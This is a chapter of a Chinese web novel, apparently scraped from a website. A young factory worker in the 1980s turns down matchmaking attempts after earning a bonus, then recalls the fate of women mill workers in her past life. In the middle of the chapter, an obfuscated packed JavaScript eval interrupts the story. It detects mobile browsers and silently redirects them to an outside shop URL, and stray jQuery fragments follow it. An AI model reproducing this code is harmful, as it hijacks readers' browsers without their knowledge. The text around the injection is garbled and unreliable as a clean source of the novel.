29. 第 29 章

作品:《退婚?我在八零卷哭全厂

    提成的消息,很快传遍了整个春风厂。


    尽管为了保证赵之凝的安全,厂里最终没有公布提成的具体数额,但“赵之凝拿了一大笔提成”这个消息,还是让全厂职工为之一震。


    “我的老天爷!真发提成啊?谁能打听到,到底是多少钱啊?”


    “听说星火厂那个项目不小,按当初定的比例算,啧啧……估计抵得上咱们干一年的工资吧?”


    “早知道当初我也报名去搞销售了……”


    “你滚蛋吧,一没技术二没人脉,你去了也是白搭,咱就没有人家那两下子。”


    技术科和生产车间的年轻工人们,尤其是参与了6205轴承攻关和北方垦区调研的那批人,对赵之凝是真心实意的佩服和羡慕。


    沈红霞更是兴奋地到处宣扬:“看见没?这就是知识的力量!技术的价值!”


    然而,羡慕之外,也有一些人心生不忿。


    一些习惯于按部就班的老师傅,心里难免泛起了酸水,私下里议论纷纷。


    “哼,一个进厂才多久的黄毛丫头?二级工!拿的提成比咱们老师傅都多?这像话吗?”


    “就是!咱们在车间流汗出力几十年,也没见厂里给发过啥‘提成’!这规矩……啧,坏了!”


    “年轻人运气好罢了!碰巧解决了人家的问题,就值这么多钱?咱们厂多少老师傅一辈子兢兢业业,贡献比她小?”


    “听说星火厂还想挖她?给她定四五级?笑话!咱们厂有咱们厂的规矩!要都这么破格,还不乱套了?”


    这些议论,除了不解与失落,背后还隐含着一丝被时代大潮抛下的恐慌。


    改革已经迫在眉睫,他们却依然固守着自己熟悉的那套价值体系。当新规则真正落地后,他们本能地感到排斥和不安。


    更有甚者,一些心思活络的人,开始把目光聚焦在赵之凝本人身上。


    一个年轻、未婚、技术过硬、现在又手握巨款的女工,在某些人眼里,瞬间成了一块闪闪发光的“香饽饽”。


    这天下午,赵之凝刚从技术科开完星火厂项目的碰头会出来,就被一位出了名爱张罗的职工家属王大妈在楼道里“偶遇”了。


    “哎哟,小赵,真巧!忙完啦?”王大妈满脸堆笑,亲热地拉住赵之凝的胳膊,“瞧瞧,这阵子都累瘦了!可得注意身体啊!”


    赵之凝:???


    别以为我没看到,你是专门在这里蹲我的!


    面对突如其来的热情,赵之凝有些不自在,只客气地笑笑:“谢谢王阿姨关心,还好。”


    “小赵啊,”王大妈凑近了些,压低声音,带着神秘和热切,“你看你,年轻有为,技术又好,现在又……嗯,前途无量!可这终身大事啊,也得考虑考虑了。


    阿姨认识个小伙子,条件可好了!在县委工作,父母也都是干部,家里就一个独子,人也老实。你看,要不要……阿姨帮你们牵个线,认识认识?”


    她眼里闪烁着精光,事成后不知道该有多少谢礼吧。


    赵之凝脸上的笑容不变,语气却带着疏离和坚定:“王阿姨,谢谢您的好意,不过我现在暂时不考虑个人问题。厂里刚接了星火厂设备改造的项目,技术方案还在攻关阶段,我实在是分身乏术,不想分心。”


    王大妈脸上的笑容僵了一下,没想到这么好的条件都会被拒绝,但她还不死心:“哎呀,工作再忙,人生大事也不能耽误嘛!见见嘛,就当交个朋友?


    那小伙子条件真没得挑!错过这村可没这店了!你看你,一个人孤零零在厂里,总得有个依靠不是?这女人嘛,工作再好,还是得有个男人,最终的归宿还是在家庭……”


    “真的不用了,王阿姨。”赵之凝听着就烦,直接打断了她,“车间又喊我了,我先回去了。”


    说完,她直接转身快步离开,留下王大妈在原地。


    王大妈脸上的笑容彻底挂不住了,悻悻地撇了撇嘴,嘀咕了一句:“哼,这丫头……心气儿还挺高!我倒要看看,她能找个啥样的金龟婿!”


    类似的偶遇和试探,在接下来的几天里,赵之凝又“巧合”地遇到了几次。


    有同车间的老师傅旁敲侧击打听她家里情况的,有别的科室大姐热情邀请她去家里吃饭顺便见见自家亲戚的,甚至走在厂区路上,都能感觉到一些人投来的打量的目光。


    对于这些,赵之凝一概报以礼貌而冷淡的回应。


    穿越以来,身处一个和平年代,她拥有无数的可能,太希望能活出不一样的一生了。


    对于婚姻这种人生大事,她还没有真正想清楚。


    下班后,赵之凝独自回到宿舍,关好门,坐在书桌前,拿起了一封下午刚收到的、信封上字迹歪歪扭扭的信。


    信封上的落款是:北青市南郊农场,耿小虎。


    她小心地拆开信封,里面是两张从作业本上撕下来的纸,字迹稚嫩却一笔一划写得极其认真:


    “赵姐姐:你好!我是虎子,妈妈让我写信,祝福你春节快乐,工作顺利!今年过年我们很开心,我吃了很多好吃的,吃苹果时我就想起你了。


    农场开春又要忙了,可爸爸最近老是皱着眉头抽烟,饭也吃得少。我偷偷听到他跟杨叔叔说,那些机器好像又闹脾气了,修也修不好。


    爸爸急得嘴上起泡,说要是耽误了春播,可不得了。姐姐你那么厉害,能不能快点造出咱们自己的大机器来,帮帮我爸爸和农场?


    对了,妈妈说苹果不能放太久,所以我攒了好多玉米硬糖,等你来了都给你吃!”


    信纸末尾,还用铅笔笨拙地画了一个咧着嘴笑的小老虎,旁边歪歪扭扭写着“虎子”。


    看着这充满童真却又懂事的信,赵之凝眼前仿佛又浮现出广袤的黑土地上,那个在寒风中脸蛋冻得通红的虎子。


    她的思绪翻飞,前世那些冰冷而沉重的记忆碎片,不受控制地翻涌上来。


    她还记得张嫂,一个在纱厂干了十几年的挡车工,枯槁的脸上早已没了血色。她躺在破旧的板床上,奄奄一息,刚刚生下了她的第三个女儿。


    而那个女婴,瘦弱得像只刚出生的小猫,连像样的哭声都发不出来。


    屋子里,婆婆和丈夫正骂骂咧咧,抱怨她又生了个女儿。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943605|192171||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    婆婆刻薄地骂道:“又是个赔钱货!丧门星!这都第三个了!老张家真要断香火了!”


    屋子外,挤满了或看热闹或叹息的邻居,议论声嗡嗡作响:


    “唉,造孽啊!连生了三个女娃,这要是在老家,祠堂里都没脸站!”


    “这娃……生下来就是苦命的!要么送人,要么……唉!”


    没有人记得,在赵之凝刚逃荒来到沪城,被工头刁难克扣工钱饿得眼冒金星时,是张嫂偷偷掰了半个自己都不舍得吃的杂粮窝头塞给她。


    没有人记得,是张嫂手把手地教她怎样操作织机,怎样在凶神恶煞的工头的手下求生。


    更没有人记得,张嫂那手操作能力在车间里有多强,才让她足以拿到比男工更高的工钱。


    人们只会记得,这个没福气的女人连生了三个女儿,最后在痛苦和绝望中难产而死。


    不,人们甚至不会记得她的。


    她甚至不姓张,但世上只有张嫂。


    那一刻,赵之凝感到彻骨的寒冷,为这个即将凋零的女人,为那个命途多舛的女娃,或许,还为了终将被黑暗吞噬的自己。


    在那个年代,她见过太多像张嫂一样的女子,为了一个所谓的“依靠”,嫁做人妇,生儿育女,然后在无尽的贫困和劳作中耗尽一生。


    对当时的她们而言,嫁人只是一场赌上性命、只为换取一点点生存空间的交易。


    这就是我们的命吗?


    我们只能认命吗?


    直到赵之凝偷偷接触到了女工夜校,读书识字,唱歌看剧。


    一种前所未有的东西在她心底破土而出:原来,“投错了胎”不应该是她的宿命。


    残酷的打工生活,意外给了她脱离土地和家庭的机会。


    她开始意识到,她可以读书,可以工作,可以看到更大的世界,可以闯进更广阔的天地。


    她,可以获得真正属于自己的权力。


    正是在这样的思想启蒙下,赵之凝加入了组织,后来还被推荐进入了机械厂,认识了那些留学归国的年轻工程师。


    在积贫积弱的国家里,他们“工业救国”的梦想显得那么遥不可及,却像一道强光照亮了赵之凝原本灰暗的世界。


    那光芒,来自冰冷的机械蓝图,来自滚烫的民族自强之志,这是她第一次触摸到了如此有力量的信仰。


    只是后来,在国难当头的时刻,个人的悲欢离合,渺小得像尘埃。所有人,无论是男人还是女人,无论是老人还是小孩,都为了生存而拼尽全力。


    如今,硝烟散尽,和平降临。赵之凝何其有幸,拥有了安稳的工作,有了可以牵挂和信任的家人,现在甚至还有了一笔小小的财富。


    但是,虎子的信,打破了表面的平静。


    在战火纷飞的长江上,一同内迁的师傅曾问她:“如果我们赶走了敌人,你想做什么?”


    那时的赵之凝是这么回答的:“如果我还能活着,我想再学点本事,造出好机器来。”


    赵之凝走到窗边,静静望着漆黑的夜空,纷扰的心绪渐渐沉淀下来,变得前所未有的宁静而坚定。